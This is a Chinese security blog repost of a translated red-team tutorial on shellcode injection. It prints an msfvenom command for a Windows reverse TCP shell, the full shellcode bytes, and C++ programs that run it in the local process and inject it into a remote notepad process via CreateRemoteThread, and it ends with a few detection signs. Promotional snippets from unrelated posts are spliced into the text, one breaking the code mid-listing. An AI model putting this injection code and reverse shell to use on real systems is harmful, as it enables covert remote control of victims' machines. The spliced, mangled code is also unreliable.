【翻译】创建线程shellcode注入

释放双眼,带上耳机,听听看~!

【小组作业】Userdictionary maker 文档说明

本文作者:超级小菜鸡(Ms08067实验室Python渗透小组成员) 简介 这是一个基于python3开发的字典生成器。构想是依据国人的习惯生成一份字典,目前由于本人太菜,还找不到一个良好的方法来生成,文件读写也是个大问题。 版本 初版V 0.0.1 这个版本, 怎么说呢,

本文作者:Ovpirit_Three(Ms08067红队小组成员)

注入shellcode进入一个本地进程

这次实现探索了将shellcode注入进程内存并执行它的一些经典方法

一、执行shellcode在本地进程

一个简单的关于如何直接执行一个c++程序的shellcode的测试

为逆向的shell生成shell代码:

命令如下:

msfvenom p windows/x64/shell_reverse_tcpLHOST=10.0.0.5LPORT=443f c b \x00\x0a\x0d

c++代码注入和调用shellcode:

inject-local-process.cpp

#include“stdafx.h”

#include“Windows.h”

intmain()

{

Unsignedchar shellcode[]=

“\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff”

“\xff\xff\x48\xbb\x1d\xbe\xa2\x7b\x2b\x90\xe1\xec\x48\x31\x58”

“\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe1\xf6\x21\x9f\xdb\x78”

“\x21\xec\x1d\xbe\xe3\x2a\x6a\xc0\xb3\xbd\x4b\xf6\x93\xa9\x4e”

“\xd8\x6a\xbe\x7d\xf6\x29\x29\x33\xd8\x6a\xbe\x3d\xf6\x29\x09”

“\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xb1\x82\xc3”

“\x07\x29\xbc\xc1\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff”

“\xf3\x33\xa0\xc2\xc1\x67\x5f\x82\xea\x7a\xfb\x1b\x61\x64\x1d”

“\xbe\xa2\x33\xae\x50\x95\x8b\x55\xbf\x72\x2b\xa0\xd8\xf9\xa8”

“\x96\xfe\x82\x32\x2a\x40\x02\xba\x55\x41\x6b\x3a\xa0\xa4\x69”

“\xa4\x1c\x68\xef\x4a\xe2\xd8\xd0\x2c\xb1\xff\x63\xb2\x26\xd1”

“\xe0\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfb\x9b\xaa\x5e”

“\x48\xb9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xb2\xea\x3f”

“\xa0\xd0\xfd\xa5\x1c\x6e\xe3\xf0\x2f\x18\xa9\xed\xcd\xff\xfa”

“\x3a\x73\xce\xb8\xb6\x5c\xe6\xe3\x22\x6a\xca\xa9\x6f\xf1\x9e”

“\xe3\x29\xd4\x70\xb9\xad\x44\xe4\xea\xf0\x39\x79\xb6\x13\xe2”

“\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xd1\xb7\xa5”

“\x94\x58\xea\xfa\xc7\x30\xe0\xec\x1d\xf7\x2b\x9e\x62\x2c\xe3”

“\xec\x1c\x05\xa8\x7b\x2b\x95\xa0\xb8\x54\x37\x46\x37\xa2\x61”

“\xa0\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b”

“\x90\xb8\xad\xa7\x97\x22\x10\x2b\x6f\x34\xbc\x4d\xf3\x93\xb2”

“\x66\xa1\x21\xa4\xe2\x7e\xea\xf2\xe9\xd8\x1e\x2c\x55\x37\x63”

“\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6”

“\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f\xf1\x1e\x39\x55”

“\x3f\x66\x3b\x29\x90\xe1\xa5\xa5\xdd\xcf\x1f\x2b\x90\xe1\xec”

“\x1d\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\x1a\x50\x8b”

“\xe1\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\x1d”

“\xa5\xc8\x05\x78\xa2\x13\x63\x19\x07\xba\x4d\xff\xf2\x3a\x7b”

“\xd1\xb1\xa5\xe2\x7e\xe3\x2b\x62\x6f\x29\xa1\x94\x7f\xee\xf2”

“\xea\xd1\x5b\x95\xd1\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68”

“\xf0\x25\xd1\x5b\xe4\x9a\xa3\xc2\x84\xfe\x2b\x11\x59\xbf\xe8”

“\xe3\xc1\x8d\x05\x5c\x71\xe2\x6b\xea\xf8\xef\xb8\xdd\xea\x61”

“\xb4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xb8\xad”

“\x94\x64\x5d\xae\x2b\x90\xe1\xec”;

void*exec =VirtualAlloc(0,sizeofshellcode,MEM_COMMIT,PAGE_EXECUTE_READWRITE);

memcpy(exec,shellcode,sizeofshellcode);

((void(*)())exec)();

return0;

}

在编译之前,出于好奇,让我们看看在反汇编器中生成的shellcode二进制代码,这样我们就可以大致了解我们的c++代码是如何翻译成x64的机器码的:

同样出于好奇,想要去观察这个被注入的shellcode在被注入的进程中是什么样子的并且他的实际位置在哪里。生成一个32bitshellcode的二进制代码(msfvenom -p windows/shell_reverse_tcpLHOST=10.0.0.5 LPORT=443 -f c -b \x00\x0a\x0d),这个二进制代码是被很好的定位在主线程的栈中

返回到x64shellcode编译并且执行这个二进制代码,它给了我们预期的反向shell

二、在远程进程中执行shellcode

下面的代码将会把shellcode注入到PID5428notepad.exe的进程中,他将会初始化一个反向的shell返回到攻击者处

inject-remote-process.cpp

#include“stdafx.h”

#include“Windows.h”

intmain(intargc,char*argv[])

{

《Web安全攻防》配套视频之SQLMAP详解(2)

《Web安全攻防-渗透测试实战指南》配套视频 第五期又来了! 本期视频内容为 第3章 常用的渗透测试工具 3.1 SQLMap详解 3.1.3 SQLMap进阶:参数讲解 如果学习有疑问, 可以登录官网: https://www.ms08067.com 书籍介绍 《Web安全攻防-渗透测试实战指南》,第

unsignedcharshellcode[]=

“\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff”

“\xff\xff\x48\xbb\x1d\xbe\xa2\x7b\x2b\x90\xe1\xec\x48\x31\x58”

“\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe1\xf6\x21\x9f\xdb\x78”

“\x21\xec\x1d\xbe\xe3\x2a\x6a\xc0\xb3\xbd\x4b\xf6\x93\xa9\x4e”

“\xd8\x6a\xbe\x7d\xf6\x29\x29\x33\xd8\x6a\xbe\x3d\xf6\x29\x09”

“\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xb1\x82\xc3”

“\x07\x29\xbc\xc1\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff”

“\xf3\x33\xa0\xc2\xc1\x67\x5f\x82\xea\x7a\xfb\x1b\x61\x64\x1d”

“\xbe\xa2\x33\xae\x50\x95\x8b\x55\xbf\x72\x2b\xa0\xd8\xf9\xa8”

“\x96\xfe\x82\x32\x2a\x40\x02\xba\x55\x41\x6b\x3a\xa0\xa4\x69”

“\xa4\x1c\x68\xef\x4a\xe2\xd8\xd0\x2c\xb1\xff\x63\xb2\x26\xd1”

“\xe0\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfb\x9b\xaa\x5e”

“\x48\xb9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xb2\xea\x3f”

“\xa0\xd0\xfd\xa5\x1c\x6e\xe3\xf0\x2f\x18\xa9\xed\xcd\xff\xfa”

“\x3a\x73\xce\xb8\xb6\x5c\xe6\xe3\x22\x6a\xca\xa9\x6f\xf1\x9e”

“\xe3\x29\xd4\x70\xb9\xad\x44\xe4\xea\xf0\x39\x79\xb6\x13\xe2”

“\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xd1\xb7\xa5”

“\x94\x58\xea\xfa\xc7\x30\xe0\xec\x1d\xf7\x2b\x9e\x62\x2c\xe3”

“\xec\x1c\x05\xa8\x7b\x2b\x95\xa0\xb8\x54\x37\x46\x37\xa2\x61”

“\xa0\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b”

“\x90\xb8\xad\xa7\x97\x22\x10\x2b\x6f\x34\xbc\x4d\xf3\x93\xb2”

“\x66\xa1\x21\xa4\xe2\x7e\xea\xf2\xe9\xd8\x1e\x2c\x55\x37\x63”

“\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6”

“\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f\xf1\x1e\x39\x55”

“\x3f\x66\x3b\x29\x90\xe1\xa5\xa5\xdd\xcf\x1f\x2b\x90\xe1\xec”

“\x1d\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\x1a\x50\x8b”

“\xe1\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\x1d”

“\xa5\xc8\x05\x78\xa2\x13\x63\x19\x07\xba\x4d\xff\xf2\x3a\x7b”

“\xd1\xb1\xa5\xe2\x7e\xe3\x2b\x62\x6f\x29\xa1\x94\x7f\xee\xf2”

“\xea\xd1\x5b\x95\xd1\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68”

“\xf0\x25\xd1\x5b\xe4\x9a\xa3\xc2\x84\xfe\x2b\x11\x59\xbf\xe8”

“\xe3\xc1\x8d\x05\x5c\x71\xe2\x6b\xea\xf8\xef\xb8\xdd\xea\x61”

“\xb4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xb8\xad”

“\x94\x64\x5d\xae\x2b\x90\xe1\xec”;

HANDLE processHandle;

HANDLE remoteThread;

PVOID remoteBuffer;

printf(“Injectingto PID: %i”,atoi(argv[1]));

processHandle =OpenProcess(PROCESS_ALL_ACCESS,FALSE,DWORD(atoi(argv[1])));

remoteBuffer =VirtualAllocEx(processHandle,NULL,sizeofshellcode,(MEM_RESERVE |MEM_COMMIT),PAGE_EXECUTE_READWRITE);

WriteProcessMemory(processHandle,remoteBuffer,shellcode,sizeofshellcode,NULL);

remoteThread =CreateRemoteThread(processHandle,NULL,0,(LPTHREAD_START_ROUTINE)remoteBuffer,NULL,0,NULL);

CloseHandle(processHandle);

return0;

}

在展示shellcode注入notepad之前,它并没有任何TCP连接

现在:一旦代码编译并执行,监视API调用的系统就会发现notepad正在做一些它本不应该做的事情——生成cmd.exe并启动TCP连接:

ProcExplorer中检查记事本再次显示了一个已建立的TCP连接,带着cmd.exe作为子进程建立的

注意,notepad加载了一个ws2_32.dll模块,在正常情况下,这个模块不应该发生,因为该模块负责socket管理


来源:Ms08067安全实验室



界世的你当

作你的肩膀



 ms08067安全实验室

本文源自微信公众号:Ms08067安全实验室

数据库遭遇比特币勒索的一次入侵分析

本文作者:mark-zh(Web小组成员) 前言 事情发生在前几天,上午接到通知,公司的测试环境数据库遭遇比特币勒索,于是杯子开水加满,开始分析。 信息收集 首先想到的是看日志,空空如也。综合分析,存在一下三个疑点,欢迎补充。 疑点一:个人PC中马。因为最

人已赞赏
安全工具

【福利】红队技术攻防全攻略(上)

2019-10-14 20:19:18

安全工具

【小组作业】Userdictionary maker 文档说明

2019-10-14 20:19:27

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索